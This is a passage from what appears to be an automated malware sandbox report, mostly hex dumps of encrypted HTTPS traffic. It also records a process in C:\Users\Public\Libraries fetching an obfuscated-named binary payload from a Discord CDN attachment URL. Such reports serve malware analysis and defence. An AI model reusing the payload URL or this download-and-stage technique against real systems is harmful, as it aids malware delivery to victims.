e9 ae 18 5e a6 e7 ba 0e 3f 56 c7 e7 2a d5 b8 c1 e4 02 35 3b 6c 3a b9 02 8b 4c b0 cc b1 5d ee 89 57 9c 6e 0e 6c 0a 86 f7 66 d6 80 11 3e 5e e4 61 7f 77 21 56 88 ac 94 21 f6 95 bf 65 30 31 f8 ec 25 15 Data Ascii: KsZE#fD.bdm5;>RXf^jD{$~H'K/9sJL%~4q:a/Bt4B!-TK5]#o!y2\KZXOvhxG3E9t")^?V5;l:L]Wnlf>^aw!V!e01%
2021-09-27 18:32:52 UTC	482	IN	Data Raw: e3 98 cd b3 bd e5 af 15 86 8f 32 d6 c8 a7 d7 49 4f f7 dd d4 c3 5b e6 9e 29 b8 09 3f 84 5a c4 5d 16 05 af 40 aa b6 2d e5 3f 8d d9 1d 77 31 36 47 7b 69 aa dd 5c d7 8b 11 9a 7d f9 63 cd ba 32 d6 1b 0d 91 e7 fc dc 5c 5c 5d 8f 76 09 0d 65 52 db 14 f5 93 97 b1 87 ca c1 16 71 51 e0 63 36 33 00 40 a7 92 ae 97 4f 8a f1 61 fc af 12 b4 fb 81 f5 f7 a8 a5 b6 7b 2c e9 1c 61 7a 2b 9e b1 64 6c 42 33 96 7d 72 b2 72 b2 72 b2 9e ca fe eb b9 89 7a 9e 82 c7 a4 19 4b f9 54 04 8d 4b c9 e9 fd a6 55 12 e1 63 72 1d 0f 69 42 64 b7 fe 28 26 35 aa 38 22 5e c5 76 ad b2 7a e5 6c 88 c8 1f fe 47 99 c1 75 3a 3b bd 45 9f ad 88 58 94 29 e8 e4 7e f4 10 ec b5 f9 dc c7 b0 6d 4c 7c f4 69 23 eb 09 1a 63 5d 4c 0e 93 f4 44 65 29 a8 1b 43 6e ce f5 1e ce e8 0c 09 a4 ae e9 4d 16 39 ce f4 d5 39 a6 45 Data Ascii: 2IO[)?Z]@-?w16G{i\}c2\\]veRqQc63@Oa{,az+dlB3}rrrzKTKUcriBd(&58"^vzlGu:;EX)~mL\|i#c]LDe)CnM99E
2021-09-27 18:32:52 UTC	498	IN	Data Raw: 01 b9 89 70 2c d1 c4 59 9a 6f 06 87 8a 15 ba d8 28 ad bd 52 8d 10 f0 54 70 cb a5 11 e5 90 75 d4 3b 9e ca af ac ea 04 8a 9a 2d c6 a2 bc f7 18 fe df 1b 40 5b cb 6e 9d 40 1b c5 94 fa 94 d1 71 de 8b 63 76 6c 9f 33 85 11 61 2f 88 8e 1f d6 41 1e 48 f8 1c 80 06 2a 91 2e dc d7 c0 6f 15 f3 71 aa a0 b2 e7 fc db aa 94 ad 0e e7 71 55 ed 39 36 12 7a 14 0a 23 6d c9 a4 14 81 7c b2 09 d8 ab e9 03 c7 fc af 16 af 63 cb 63 ba d3 12 0e 18 01 bc 4e 00 29 23 cc b0 2d 3f 1e 56 ce 91 a6 e3 68 a0 15 87 ee 41 69 92 ae a2 c0 4b 71 01 45 9f c4 ff d3 c2 fe 28 02 ce 73 0b 33 03 17 6d 07 a9 1c 9d b0 ad 62 b1 ef 9b 9c d5 85 0e 3f 56 c7 24 5c 2e 34 52 49 a8 bf 9a 63 cc 4e 49 af 02 ca ab e1 e3 62 4d ba 0e 17 96 d1 c2 59 36 ae ab 1e f3 37 7d 9a c0 d6 43 e6 ae ed 0d 0d 75 d6 ac 3a 08 83 40 Data Ascii: p,Yo(RTpu;-@[n@qcvl3a/AH*.oqqU96z#m\|ccN)#-?VhAiKqE(s3mb?V$\.4RIcNIbMY67}Cu:@
2021-09-27 18:32:52 UTC	514	IN	Data Raw: 62 71 66 44 96 d0 4e 04 46 ae 5b df a1 37 3e 9e c0 7f fc 71 96 75 01 17 20 48 b4 fd 78 93 ec bb 03 39 31 3e a2 c0 6c 36 bb 09 b3 d0 ae e3 6d 38 4c 6c b1 6f 50 86 05 b9 ea 2e bf 15 3d 53 fb 92 66 9e 3d 03 c9 62 b9 5a 15 7c b5 72 27 90 c8 2c 0b 74 55 43 b3 a3 9b e9 b5 a2 15 27 fe 72 1e 86 d6 bd 47 b7 0e 6c 36 b8 7b 2f 5e a7 96 6e fe 89 5f a1 07 dd 0b 44 7d f9 9c 3d d6 e4 02 1d 00 c1 53 86 f7 ab a2 6e b2 a9 59 50 8e 43 6d 48 36 cc 46 5d cd b8 a4 44 e0 b1 ba d2 e9 25 0e 24 47 ae 37 97 4e 7f 8b 5e 4f c6 29 af 94 f2 88 f2 f2 f5 fa f7 5d ae 94 cb ae bb 8c e9 88 f4 95 44 6d 09 d0 57 62 ff ec 02 34 bb 96 c6 a2 4b f4 6e 26 f6 9e 45 ae e3 98 00 83 96 52 7d f7 d6 c0 e3 ec e3 13 b3 71 51 4d 74 23 66 92 d7 a3 9d b7 bb 8a f9 17 a7 5c 5c 5d d8 be 66 ee 55 44 3a 51 48 fe Data Ascii: bqfDNF[7>qu Hx91>l6m8LloP.=Sf=bZ\|r',tUC'rGl6{/^n_D}=SnYPCmH6F]D%$G7N^O)]DmWb4Kn&ER}qQMt#f\\]fUD:QH
2021-09-27 18:32:52 UTC	530	IN	Data Raw: 21 6d d9 b0 92 da 2e d0 3f 56 44 e2 1a fb 5d cd b6 f0 f8 e5 96 b0 85 7a 14 19 52 63 65 68 3f 22 e8 f4 95 21 c5 e0 1f 6c 2d 37 47 0f 96 d4 74 34 bd f3 62 5d cd 63 cc 4f ff 47 75 d4 93 58 66 44 69 c7 a9 8c e9 89 73 b2 f7 15 34 36 87 0e be 71 aa a0 65 d0 79 e3 2c d0 45 17 8d 04 44 3c a5 a7 9c 35 05 d2 bb c5 9c 37 43 ee 89 70 2c d0 ba 10 61 d0 45 16 fe ad 6b 04 d5 3a 8a 94 62 4e 7e 08 29 35 4e 89 ff 22 e8 0b 9c c1 93 2c 0f 65 38 8b f2 f3 71 a9 20 97 3a ae 97 4f 4c 94 d6 37 36 bb 82 75 a0 b9 fa 99 5d 20 67 cb ab 11 e5 93 58 74 8d 71 59 71 05 ae 97 4d 0f ec 76 b1 10 13 8e 1b 03 c1 88 78 ad ee c4 1e 4a 67 b4 89 70 2f 56 11 e5 2e 30 69 69 bd f3 72 2c ba 0e 18 00 39 2e b1 64 49 0a 26 4c 94 d6 37 27 39 26 71 aa a1 35 29 2d 39 9e 40 18 72 88 f2 f3 72 2c aa d3 be 71 Data Ascii: !m.?VD]zRceh?"!l-7Gt4b]cOGuXfDis46qey,ED<57Cp,aEk:bN~)5N",e8q :OL76u] gXtqYqMvxJgp/V.0iir,9.dI&L7'9&q5)-9@rr,q
2021-09-27 18:32:52 UTC	546	IN	Data Raw: 6e 31 44 11 ef 6c cc c4 9d b3 8c 96 be 8e 13 b1 b2 2b f4 4b a4 0f ae e3 6b 83 03 4c 7c f0 07 53 82 9a c7 db 28 74 34 4d 8b 4f 87 4d 74 37 21 6a 3b 53 7a 02 09 a4 af 6d 91 4a 77 64 b6 79 d2 47 b5 74 dc 97 77 27 cb 3e d3 25 c7 7d 28 e6 dc 28 d9 c7 03 a4 54 c8 2a d6 9d 34 bd f3 5b b6 93 af a7 5c af bf 9a c0 d6 43 19 7e 51 74 34 84 88 f5 c6 2f e6 13 36 ca 8b 1d ef b4 89 eb 7b 2d 74 e0 88 58 59 28 de 50 5c 28 d7 c0 6c 36 3b b1 07 a6 91 21 9d cb fc a0 11 38 1f 90 4a 77 0e 0b eb 2e f4 9b 79 33 9e 1e ca 20 1e c9 aa 5e a7 d7 4b ff 24 78 19 7e 88 ef 6c c6 d6 13 f7 5f a1 36 b8 25 4f eb bd 87 8e 4c f1 71 de 01 c3 eb f0 f8 e5 10 49 1d 7b a9 5f 22 63 e1 e7 26 77 37 ca a3 0f 34 1b dd 07 09 9c b6 77 a0 c5 1f 90 20 12 f4 9f a0 b9 fd db 74 34 4d 8b 4f 87 4d 74 2c c4 62 4e Data Ascii: n1Dl+KkL\|S(t4MOMt7!j;SzmJwdyGtw'>%}((T*4[\C~Qt4/6{-tXY(P\(l6;!8Jw.y3 ^K$x~l_6%OLqI{_"c&w74w t4MOMt,bN
2021-09-27 18:32:52 UTC	562	IN	Data Raw: bf 63 5c d1 4e c4 e9 15 19 f3 fa 6c ab a0 03 42 64 f6 2a 06 d4 83 be 7e f4 50 b8 54 8f dd 18 8b 94 69 03 cc b0 2d f3 f2 0c a2 0a a5 d2 ff ea 94 29 e8 89 b7 fe 28 26 2d b2 32 b8 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 a0 c0 f3 8e 5b ad 82 9b d6 a1 a8 1c 67 52 e2 91 d0 df 2d c1 57 52 9b ba c5 20 3e 5a de e5 9c 3d 98 0d b1 ef c4 dc a3 cd 73 1b 06 d4 83 c1 6a c4 dd 18 87 8a 51 49 99 b5 b9 7f 4f 03 4c 7c fc 24 5c 25 9e 41 e2 e5 6c c9 29 a8 5a 9e 41 e2 e5 6c c9 29 a8 5a 9e 41 e2 e5 6c c9 29 a8 5a 9e 41 e2 a5 54 8f 5d ae 1a 6b 35 b7 bb 73 34 23 f0 75 3e 0c a7 da d2 ff 94 05 51 48 4d 0f 69 02 f4 c4 9d ff ea 8c 16 ba c4 1d 8b d4 82 82 fe 68 81 04 cf 77 25 f2 0c a2 36 7f 77 64 b6 77 64 f6 90 84 03 4c 7c f0 07 56 94 Data Ascii: c\NlBd*~PTi-)(&-2[gR-WR >Z=sjQIOL\|$\%Al)ZAl)ZAl)ZAT]k5s4#u>QHMihw%6wdwdL\|V
2021-09-27 18:32:52 UTC	578	IN	Data Raw: 87 75 5f 2a 0c 04 27 8b b0 11 e5 37 ca ee 92 3d cd cc e2 e5 2c 69 26 49 a5 d2 d5 10 ee 06 9c be a6 71 01 c3 4b a8 0a 8e 00 4e e5 b7 cf 5a ea a0 1c 50 86 f0 84 fc db 98 3a b9 52 da 80 f1 ad a2 c6 f2 19 f6 15 78 a3 bd 24 21 15 66 cd 32 3e 1f e0 cc 8d 19 a6 be 82 b6 f0 13 57 53 86 ca 22 17 7d 72 47 74 d3 19 81 84 80 06 2b 61 12 19 d0 ea fc 00 89 02 df 29 a8 5a db 24 34 7f f7 86 7e f4 10 a9 ac 4f 3e da 2d 4d 02 f8 f2 10 c8 f3 05 51 4d 6f 40 4a 88 4c 08 cd 7b e6 f7 c8 2c 21 78 1c d7 73 db 40 7b 29 23 99 b5 f9 7b 84 58 c7 7b 30 f9 e9 3d d0 7c 73 8a 64 49 70 d5 cd ef fb 2a 32 4a 88 f2 fc d5 ae 2a 6a cd 46 64 8c 1e 87 43 d7 9f 93 2c fb e1 e8 e3 12 29 e7 4a af a2 c0 a4 24 e4 d3 41 69 7d f9 9e aa b1 66 f8 6e 0e 62 b7 75 9a b1 e6 9e cc b5 a0 cd 37 80 72 8d ce e3 34 Data Ascii: u_'7=,i&IqKNZP:Rx$!f2>WS"}rGt+a)Z$4~O>-MQMo@JL{,!xs@{)#{X{0=\|sdIp2J*jFdC,)J$Ai}fnbu7r4

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.6	49744	162.159.133.233	443	C:\Users\Public\Libraries\Qybpdxz\Qybpdxz.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-27 18:33:23 UTC	593	OUT	GET /attachments/836211098164265024/892047706770509844/Qybpdxzxxjklicipydzdiinowujxlof HTTP/1.1 User-Agent: aswe Host: cdn.discordapp.com Cache-Control: no-cache
2021-09-27 18:33:23 UTC	593	IN	HTTP/1.1 200 OK Date: Mon, 27 Sep 2021 18:33:23 GMT Content-Type: application/octet-stream Content-Length: 569856 Connection: close CF-Ray: 6956d1ef099b0e26-MXP Accept-Ranges: bytes Cache-Control: public, max-age=31536000 Content-Disposition: attachment;%20filename=Qybpdxzxxjklicipydzdiinowujxlof ETag: "b006f7c6421d7b2136a4e9c6c2bfd063" Expires: Tue, 27 Sep 2022 18:33:23 GMT Last-Modified: Mon, 27 Sep 2021 13:59:06 GMT Vary: Accept-Encoding CF-Cache-Status: MISS Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" x-goog-generation: 1632751146791713 x-goog-hash: crc32c=DogVig== x-goog-hash: md5=sAb3xkIdeyE2pOnGwr/QYw== x-goog-metageneration: 1 x-goog-storage-class: STANDARD x-goog-stored-content-encoding: identity x-goog-stored-content-length: 569856 X-GUploader-UploadID: ADPycduLPbk6cqUVMfcEkh1UGB1GSRLTdY_YcHWvU5xe9RokrhaZULIsaBryJdzBwctEvMHCQqrOYGdvcFXGvN0c4Iovd6PuMQ X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp
2021-09-27 18:33:23 UTC	594	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 33 3f 73 3d 7a 61 76 59 31 36 52 56 63 45 77 38 62 45 41 62 25 32 42 30 41 5a 65 43 43 4f 25 32 42 4f 69 62 50 5a 77 75 4a 39 30 33 69 67 65 52 32 52 69 25 32 42 61 55 6b 61 62 74 4f 43 4e 6c 46 32 77 36 54 53 61 31 6a 78 4e 6d 37 39 69 75 34 47 61 51 37 6a 41 5a 59 75 34 64 52 25 32 46 78 63 45 48 49 68 68 4e 52 47 31 25 32 46 71 41 57 58 25 32 46 4b 48 55 44 72 58 39 76 6f 61 50 4e 48 78 4c 62 62 66 6e 50 30 43 50 33 61 68 69 4b 72 77 39 72 41 25 33 44 25 33 44 22 7d 5d 2c 22 67 72 6f 75 70 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 Data Ascii: Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=zavY16RVcEw8bEAb%2B0AZeCCO%2BOibPZwuJ903igeR2Ri%2BaUkabtOCNlF2w6TSa1jxNm79iu4GaQ7jAZYu4dR%2FxcEHIhhNRG1%2FqAWX%2FKHUDrX9voaPNHxLbbfnP0CP3ahiKrw9rA%3D%3D"}],"group":"cf-nel","max
2021-09-27 18:33:23 UTC	594	IN	Data Raw: 19 c6 ec b4 32 7a aa 0e a0 08 90 64 f2 4d af b2 2a 6d 02 83 c4 d9 0e b7 b9 4c 35 81 38 0d 35 9d e7 36 09 12 b5 bd 4d af ad a8 13 37 8e 5a ce ed d8 8a 5f 63 77 20 53 5d 62 ff e2 a1 8d d8 9d e7 29 ef ca e2 a1 8d d8 9d f8 54 c6 e6 ab a0 16 a2 13 34 0c ab a5 96 6f 00 82 b0 24 58 dd 18 af b2 2a 6d 02 83 c4 d9 0e b7 b9 4c 35 81 38 0d 35 9d e7 36 09 12 b5 bd 4d af ad a8 13 37 8e 5a ce ed d8 8a 5f 63 77 20 53 5d 62 ff e2 a1 8d d8 9d e7 29 ef ca e2 a1 8d d8 9d f8 54 c6 e6 ab a0 16 a2 13 34 0c ab a5 96 6f 00 82 b0 24 58 dd 18 af b2 2a 6d 02 83 c4 d9 0e b7 b9 4c 35 81 38 0d 35 9d e7 36 09 12 b5 bd 4d af ad a8 13 37 8e 5a ce ed d8 8a 5f 63 77 20 53 5d 62 ff e2 a1 8d d8 9d e7 29 ef ca e2 a1 8d d8 9d f8 54 c6 e6 ab a0 16 a2 13 34 0c ab a5 96 6f 00 82 b0 24 58 dd 18 af Data Ascii: 2zdMmL5856M7Z_cw S]b)T4o$XmL5856M7Z_cw S]b)T4o$X*mL5856M7Z_cw S]b)T4o$X
2021-09-27 18:33:23 UTC	595	IN	Data Raw: 3b 3b 2c d0 46 99 4e 6f be 60 41 1f 6f ad 04 3c bd e4 00 2a c4 69 b7 04 3f 30 c5 ec 12 10 13 9b 52 74 23 65 cf cc 5e 49 1b 6b ba 7a 16 18 0c 09 b3 1e e2 0b 94 dc 2d 42 89 73 a9 33 21 6a 2c c7 db ab 1d 7c 0b 8e f5 7d 9f 39 31 46 8c e5 87 62 5b cf d9 bb f2 f6 e5 81 80 0a 32 df a1 21 7d 8d 66 47 07 ad 08 37 24 f1 74 23 64 54 7c 1b 6e 24 f3 60 58 6c 33 30 d4 3f 2e db b5 06 3c be 71 aa a2 bc 71 bb e9 98 de 26 de 26 c3 e9 9d 57 fd 49 1b 72 2d 48 83 6d b0 9e ae 89 70 3b 3b 2c d0 46 99 4e 6f be 60 41 1f 6f ad 04 3c bd e4 00 2a c4 69 b7 04 3f 30 c5 ec 12 10 13 9b 52 74 23 65 cf cc 5e 49 1b 6b ba 7a 16 18 0c 09 b3 1e e2 0b 94 dc 2d 42 89 73 a9 33 21 6a 2c c7 db ab 1d 7c 0b 8e f5 7d 9f 39 31 46 8c e5 87 62 5b cf d9 bb f2 f6 e5 81 80 0a 32 df a1 21 7d 8d 66 47 07 ad Data Ascii: ;;,FNo`Ao<i?0Rt#e^Ikz-Bs3!j,\|}91Fb[2!}fG7$t#dT\|n$`Xl30?.<qq&&WIr-Hmp;;,FNo`Ao<i?0Rt#e^Ikz-Bs3!j,\|}91Fb[2!}fG
2021-09-27 18:33:23 UTC	597	IN	Data Raw: bc 71 bb e9 98 de 26 de 26 c3 e9 9d 57 fd 49 1b 72 2d 48 83 6d b0 9e ae 89 70 3b 3b 2c d0 46 99 4e 6f be 60 41 1f 6f ad 04 3c bd e4 00 2a c4 69 b7 04 3f 30 c5 ec 12 10 13 9b 52 74 23 65 cf cc 5e 49 1b 6b ba 7a 16 18 0c 09 b3 1e e2 0b 94 dc 2d 42 89 73 a9 33 21 6a 2c c7 db ab 1d 7c 0b 8e f5 7d 9f 39 31 46 8c e5 87 62 5b cf d9 bb f2 f6 e5 81 80 0a 32 df a1 21 7d 8d 66 47 07 ad 08 37 24 f1 74 23 64 54 7c 1b 6e 24 f3 60 58 6c 33 30 d4 3f 2e db b5 06 3c be 71 aa a2 bc 71 bb e9 98 de 26 de 26 Data Ascii: q&&WIr-Hmp;;,FNo`Ao<*i?0Rt#e^Ikz-Bs3!j,\|}91Fb[2!}fG7$t#dT\|n$`Xl30?.<qq&&
2021-09-27 18:33:23 UTC	597	IN	Data Raw: c3 e9 9d 57 fd 49 1b 72 2d 48 83 6d b0 9e ae 89 70 3b 3b 2c d0 46 99 4e 6f be 60 41 1f 6f ad 04 3c bd e4 00 2a c4 69 b7 04 3f 30 c5 ec 12 10 13 9b 52 74 23 65 cf cc 5e 49 1b 6b ba 7a 16 18 0c 09 b3 1e e2 0b 94 dc 2d 42 89 73 a9 33 21 6a 2c c7 db ab 1d 7c 0b 8e f5 7d 9f 39 31 46 8c e5 87 62 5b cf d9 bb f2 f6 e5 81 80 0a 32 df a1 21 7d 8d 66 47 07 ad 08 37 24 f1 74 23 64 54 7c 1b 6e 24 f3 60 58 6c 33 30 d4 3f 2e db b5 06 3c be 71 aa a2 bc 71 bb e9 98 de 26 de 26 c3 e9 9d 57 fd 49 1b 72 2d 48 83 6d b0 9e ae 89 70 3b 3b 2c d0 46 99 4e 6f be 60 41 1f 6f ad 04 3c bd e4 00 2a c4 69 b7 04 3f 30 c5 ec 12 10 13 9b 52 74 23 65 cf cc 5e 49 1b 6b ba 7a 16 18 0c 09 b3 1e e2 0b 94 dc 2d 42 89 73 a9 33 21 6a 2c c7 db ab 1d 7c 0b 8e f5 7d 9f 39 31 46 8c e5 87 62 5b cf d9 Data Ascii: WIr-Hmp;;,FNo`Ao<i?0Rt#e^Ikz-Bs3!j,\|}91Fb[2!}fG7$t#dT\|n$`Xl30?.<qq&&WIr-Hmp;;,FNo`Ao<i?0Rt#e^Ikz-Bs3!j,\|}91Fb[
2021-09-27 18:33:23 UTC	598	IN	Data Raw: f3 60 58 6c 33 30 d4 3f 2e db b5 06 3c be 71 aa a2 bc 71 bb e9 98 de 26 de 26 c3 e9 9d 57 fd 49 1b 72 2d 48 83 6d b0 9e ae 89 70 3b 3b 2c d0 46 99 4e 6f be 60 41 1f 6f ad 04 3c bd e4 00 2a c4 69 b7 04 3f 30 c5 ec 12 10 13 9b 52 74 23 65 cf cc 5e 49 1b 6b ba 7a 16 18 0c 09 b3 1e e2 0b 94 dc 2d 42 89 73 a9 33 21 6a 2c c7 db ab 1d 7c 0b 8e f5 7d 9f 39 31 46 8c e5 87 62 5b cf d9 bb f2 f6 e5 81 80 0a 32 df a1 21 7d 8d 66 47 07 ad 08 37 24 f1 74 23 64 54 7c 1b 6e 24 f3 60 58 6c 33 30 d4 3f 2e db b5 06 3c be 71 aa a2 bc 71 bb e9 98 de 26 de 26 c3 e9 9d 57 fd 49 1b 72 2d 48 83 6d b0 9e ae 89 70 3b 3b 2c d0 46 99 4e 6f be 60 41 1f 6f ad 04 3c bd e4 00 2a c4 69 b7 04 3f 30 c5 ec 12 10 13 9b 52 74 23 65 cf cc 5e 49 1b 6b ba 7a 16 18 0c 09 b3 1e e2 0b 94 dc 2d 42 89 Data Ascii: `Xl30?.<qq&&WIr-Hmp;;,FNo`Ao<i?0Rt#e^Ikz-Bs3!j,\|}91Fb[2!}fG7$t#dT\|n$`Xl30?.<qq&&WIr-Hmp;;,FNo`Ao<i?0Rt#e^Ikz-B
2021-09-27 18:33:23 UTC	600	IN	Data Raw: 19 c1 e6 d8 08 c8 9c 00 d1 a3 1a f0 90 6a 3e 16 c1 f3 5b 1d 3c 5c b8 ef 6e 25 70 9f 1a 19 c1 9a 21 af a2 54 c8 41 ac a1 ca 92 a3 36 7a d6 2e 00 95 5d 1c dc 21 57 c8 e9 77 b9 50 af 8e 9a e0 93 71 62 aa 1b 05 a5 9c 71 ba c7 27 05 93 eb a7 22 c2 a3 37 f0 65 c2 ad e5 83 6e 3a 8d d9 d0 f1 3f da 99 19 72 a7 75 50 bd bd f3 b1 2c d5 16 ff 5a a7 60 b2 47 31 ab d3 1f 6f 19 b0 97 41 0f 53 50 0f 0f 54 2a d6 f1 c5 e7 40 d8 3b c8 44 26 a4 af d3 76 06 9b 78 04 0c ac eb 7a 3e 84 c3 0e 97 01 a9 23 d7 aa c1 e4 d0 fc d3 cf 09 4d b6 ae 9f 59 d0 4d b0 f9 72 93 5d b0 f8 f2 ed a8 da d9 b1 c3 cf d8 34 36 0b 9a 5f 31 5d de fb 5d 53 d8 35 99 a6 b6 86 5c 83 8e e7 91 c1 97 f8 79 03 54 76 a9 e1 73 61 71 6f 3e 39 d6 36 17 67 c8 e4 8a e3 28 77 9c 05 00 3b 99 db be 7f 4d 1b ca 6e 28 6e Data Ascii: j>[<\n%p!TA6z.]!WwPqbq'"7en:?ruP,Z`G1oASPT*@;D&vxz>#MYMr]46_1]]S5\yTvsaqo>96g(w;Mn(n
2021-09-27 18:33:23 UTC	601	IN	Data Raw: 54 1b 05 fa 7a ae 29 5a 64 59 85 19 1e a1 ac 24 27 55 f8 f3 6a d2 a8 55 79 2a 1f 78 1b 74 e2 81 26 17 2d f7 d8 34 b4 8c cb ad 65 92 46 2b 9f 23 6b ad f2 7c 83 40 33 8f ae 9d 53 f0 99 b1 e5 4c 2c 1b aa a4 ad 10 1f 81 6d a5 81 3b e3 9f 27 51 4f a5 76 e0 b6 04 e5 93 56 78 56 ce d3 64 d3 75 30 c3 e4 17 a6 ce 3b 00 93 90 58 63 cf d4 42 94 da 5f 7f 41 91 52 70 22 ee f2 f3 69 15 3d fd 4b 04 31 6a a9 bd 4a 21 a3 eb 83 7e 08 01 e5 d9 dc 85 b0 34 b3 00 3e 9b 9a 58 b8 d5 7d 1c e4 03 b2 d4 27 4c e6 b9 34 13 9b 46 90 03 05 6b c6 f2 3e 0c 09 ae 9c d6 33 26 cb 47 c5 7b 97 58 70 a0 6c e2 70 b2 44 04 24 f0 fb 49 01 a3 2c 7e c0 f6 ff 44 9c a3 29 46 de bf 58 ff 4f fd 4f 7f 08 a6 8c 7b 2c 25 75 b0 81 f5 82 ed 83 e9 47 f8 f5 7d 9d 10 ec f2 5e f4 58 86 e2 05 af 44 db f1 c4 f9 Data Ascii: Tz)ZdY$'UjUy*xt&-4eF+#k\|@3SL,m;'QOvVxVdu0;XcB_ARp"i=K1jJ!~4>X}'L4Fk>3&G{XplpD$I,~D)FXOO{,%uG}^XD
2021-09-27 18:33:23 UTC	602	IN	Data Raw: 23 b8 bd 3d 56 c2 ae 1c f7 66 47 78 f9 9b de 89 ba ae 9f 30 c2 ae d3 eb 76 b4 4d 81 97 58 67 ad f3 90 00 93 91 81 92 d9 b1 6c 90 4a 38 1c 3b fb 4c 89 7b a1 53 8a ac 0a e8 a0 ba 6c 20 67 80 47 e1 02 fc 79 85 69 be b2 4d bd f0 56 a0 13 9f 2b 58 57 47 aa 7d 16 b3 a2 a9 22 fe 4d b2 3f f4 7d 33 a9 31 54 63 2e 43 9f 5e ce 84 64 5f c4 72 af 5c 1a 53 5e ef da 3e ba 7b 83 41 34 38 28 6b 15 95 43 09 bf 10 ef 84 59 52 84 e8 1f 7e 46 6c ca f1 e1 54 93 57 f9 7c 8d 4b 28 7e 91 ea e3 9f 2b 42 29 10 44 6a a7 ed 9b 52 62 5a 86 25 eb f4 72 94 30 c6 50 68 39 39 2e cc d5 03 40 ab 1b 69 26 76 bb ba e0 a7 c9 d9 a5 3b e0 58 20 16 91 e0 e8 1a f9 6e 61 92 86 48 23 dc 2c d0 4c 86 ab 6c 44 b7 9d fa e2 05 a3 27 16 34 89 08 b5 b6 8d 6b ab 1c 05 25 e4 3d 88 39 39 33 3d 2e 55 31 98 91 Data Ascii: #=VfGx0vMXglJ8;L{Sl gGyiMV+XWG}"M?}31Tc.C^d_r\S^>{A48(kCYR~FlTW\|K(~+B)DjRbZ%r0Ph99.@i&v;X naH#,LlD'4k%=993=.U1
2021-09-27 18:33:23 UTC	604	IN	Data Raw: ec 12 34 7f a9 cc ea b1 81 6d a7 39 47 80 26 e2 8d ae 33 ca 45 0b 96 9f d9 3f b8 c8 fd a4 bf fe cb 7c 85 18 9c 07 0c f0 ee e9 0e 5d 4b 85 e7 3d d1 39 3c b8 f9 6b c5 7b 08 9c 21 9b 40 b0 7d 4a c3 86 6d 0b 6e c4 77 8d bc f9 c2 32 55 50 9e 55 ef 76 b9 a6 a7 31 eb 3e 51 0d 93 5d f8 2b 59 05 32 7b 60 b7 0c 08 57 d9 22 5e cb 61 29 a1 25 63 0d 41 55 35 95 98 34 44 94 df 55 02 2d a1 9a 7f 8c 12 12 03 3f db f8 27 f5 ec 08 db a5 3e 04 c0 9a e3 02 fe cc b7 00 38 17 15 9d 5b 76 d6 3d df a2 a8 88 db d1 58 cc 86 e8 f9 67 cc fc da f8 48 24 59 e3 77 9a c6 92 fe b0 ee 54 b9 f3 8b 6a 38 3d 01 5e d2 ed b5 0f 65 cc 4b 65 3a 6a 3c 03 77 bf 01 a1 37 7f 7e f9 b4 20 24 d2 aa a2 b5 6c df 11 90 70 e1 d1 2a df aa 25 9f 16 77 0d 50 3e 5d cc 59 ee 2d 00 03 2d 84 88 1b 6a 38 9d 52 28 Data Ascii: 4m9G&3E?\|]K=9<k{!@}Jmnw2UPUv1>Q]+Y2{`W"^a)%cAU54DU-?'>8[v=XgH$YwTj8=^eKe:j<w7~ $lp*%wP>]Y--j8R(
2021-09-27 18:33:23 UTC	605	IN	Data Raw: 30 da 20 13 73 ab ff fd d9 4a 8a e0 0c f9 bb 01 1e 68 f4 04 37 34 bf 45 7b c3 20 44 5e a2 b3 08 3a 0f 95 d4 df 0b 56 64 44 92 d4 a5 7d 00 72 8f d8 25 70 2d 4c 00 bd 24 92 73 6c 28 dd a7 2b 2f 1b 1f 1f c2 ad 00 37 3e a1 58 db 7c 98 66 80 12 1f 79 96 40 9a 12 66 ed b6 85 6e 32 c0 04 9a 79 c8 f7 aa ad 0e 12 05 70 86 3c ae 01 7d 8b 6d a5 3b ad b8 bd 1b e7 47 3a b9 ee fe cc e4 90 bd 5d 11 a4 b9 ed 75 1c 3a ad f4 74 95 1e ea 06 3d c9 30 32 b2 1f d1 8b 7c 1f 7c 1f 40 02 fe 41 d3 cc 5c 4d 10 7a e4 dc 3e 09 13 e1 8a f1 77 28 47 bc 3c 32 73 cc 58 76 0e dd 25 90 a3 97 f8 98 dd b2 9c f8 5b 52 d6 a0 71 dc 22 f9 7c ee e6 ac 70 b6 33 46 93 48 9c 3e 7d 23 b7 9d 85 0b 8d 70 38 86 3f 6c 88 6f 1c 9d 45 19 6f 7a 35 48 25 fb e4 a0 b7 04 20 52 4b 2d 34 27 e4 27 56 7e 1d 6d 55 Data Ascii: 0 sJh74E{ D^:VdD}r%p-L$sl(+/7>X\|fy@fn2yp<}m;G:]u:t=02\|\|@A\Mz>w(G<2sXv%[Rq"\|p3FH>}#p8?loEoz5H% RK-4''V~mU
